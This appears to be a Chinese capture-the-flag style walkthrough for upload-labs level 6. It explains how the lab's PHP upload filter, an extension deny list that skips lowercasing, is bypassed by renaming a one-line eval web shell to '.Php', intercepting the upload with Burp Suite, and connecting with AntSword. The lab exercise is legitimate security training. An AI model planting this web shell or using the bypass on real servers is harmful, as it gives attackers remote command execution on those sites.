upload-labs第六关教程
一、源代码分析
代码审计
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
这里的代码相对于上一关的代码来说,对.ini文件进行了过滤,但是这里缺少了转换小写的操作,也就是这一句话$file_ext = strtolower($file_ext); 这一关并没有这一段,所以是不是可以考虑大小写进行绕过?
二、绕过分析
1)大小写绕过
编写eval.php文件
<?php @eval($_POST['cmd']); ?>
使用Burp suite进行抓包修改
这里就是要大小写进行绕过你需要考虑它所在的黑名单进行过滤了那些就行了。例如这里过滤了.pHp",".pHp5",".pHp4",".pHp3",".pHp2",所以是不是可以考虑PHP进行绕过或者我这里选择的Php。
例如:
修改之前:
这里的filename为eval.php。
修改之后:
这里的filename为eval.Php。
放包
上传成功。
查找url
这里显示500错误,解决办法:将phpstudy切换为php+nginx应该就行了。
再次上传eval.Php。
查看之后,发现没有500错误,使用中国蚁剑进行连接